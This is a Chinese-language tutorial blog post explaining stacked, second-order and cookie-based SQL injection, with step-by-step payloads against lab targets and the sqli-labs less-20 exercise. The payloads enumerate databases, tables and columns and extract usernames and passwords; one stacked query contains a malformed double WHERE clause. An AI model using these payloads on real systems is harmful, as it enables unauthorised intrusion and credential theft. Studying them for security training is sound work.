堆叠注入、二次注入、cookie注入

堆叠注入、二次注入、cookie注入

1.堆叠注入

原理

Stacked injections:堆叠注入。
从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。主要是命令行中,
每一条语句结尾加 ; 表示语句结束。 这样我们就想到了是不是可以多句一起使用。
这个叫做stacked injection。 

使用条件
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库 函数支持执行多条sql语句时才能够使用。

语句(案例)
爆库名

id=1;select if(substr(database(),1,1)='a',sleep(5),1)

爆表名

id=1;select if(substr((select table_name from
information_schema.tables where table_schema='test' limit 
0,1),1,1)='a',sleep(5),1)

爆字段名

id=1;select if(substr((select column_name from information_schema.columns where table_schema='test' where table_name='user' limit 0,1),1,1)='a',sleep(5),1)

爆值

id=1;select if(substr((select username from test.users limit
0,1),1,1)='a',sleep(5),1)

2.二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取
并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的
特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并
存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就
发生了SQL二次注入。

####二次注入思路
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留
了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据
,没有进行进一步的检验的处理。

语句(案例)

注册网站:利用注册,将注入语句插入到数据库中去,会获得一个新的注册的值。
查询网站:再利用注册网站的相关信息,将语句引用出来并执行。
172.16.1.3/a/1.php?username=test&password=123
172.16.1.3/a/2.php?id=27,
其中:1.php页面的功能是注册用户名,也是插入SQL语句的地方;
2.php页面的功能是通过参数ID读取用户名和用户信息。
1)访问1.php?username=test’ ,注册test’用户,从页面返回test’对应的ID为12,访问2.php?id=12,

结果返回Mysql的错误(多了一个单引号引起的语法错误)

2):判断字段数

返回第一步:先访问1.php?username=test‘ order by 1%23,获取一个新的id=14,当再次访问2.PHP?id=14时,页面返回空白
返回第一步:先访问1.php?username=test‘ order by 10--+,获取一个新的id=20,当再次访问2.PHP?id=20时,页面返回错误信息Unknown column ’10‘ in ’order clause‘,通过不断尝试,从而可以判断数据库表中有3个字段。

3):找到显示的位置

http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,3--+
再返回double2.php页面,输入id显示

4)爆库名

http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(database())--+
再返回double2.php页面,输入id显示

5)爆表名

http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27test%27)--+
再返回double2.php页面,输入id显示

6)爆字段名

http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27test%27and table_name='user')--+
再返回double2.php页面,输入id显示

7)爆数据

http://172.16.13.91/web/sql/double1.php?username=test%27%20union%20select%201,2,(select%20group_concat(id,username,password)%20from%20test.user%20)--+
再返回double2.php页面,输入id显示

3.cookie注入

在这里插入图片描述
原理:黑名单的绕过

一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。
一般情况下,黑名单是不安全的,它存在被绕过的风险。比如有的防注入程序只过滤了
通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,我
们可以使用Cookie注入攻击。

####如何确定一个网站是否存在Cookie注入漏洞。
n 寻找形如“.asp?id=xx”类的带参数的URL。
n 去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。如果正
常,则说明使用cookie作为参数传递。
n 使用burp抓包并构造payload
n 使用常规注入语句进行注入即可。

语句

只是在burp抓取的数据包里的cookie的请求头部后面进行sql语句注入
(可以查看之前的联合注入的文档-“sql注入--联合注入”)

案例

1,对sqil less-20 POST-Cookie injections实现cookie注入攻击

①判断字符类型

Cookie: uname=1'& passwd=

Cookie: uname=1'or 1=1#& passwd=

Cookie: uname=1' or 1=2#& passwd=

②判断字段数

Cookie: uname=1'  order by 4 # & passwd=

③判断输出位置

Cookie: uname=1' union select 1,2,3 # & passwd=

④爆数据库

Cookie: uname=1' union select 1,database(),3 # & passwd=

⑤爆数据表

Cookie: uname=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 # & passwd=

⑥爆数据字段

Cookie: uname=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 # & passwd=

⑦爆数据值

Cookie: uname=1' union select 1,(select group_concat(id,username,password) from security.users),3 # & passwd=
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值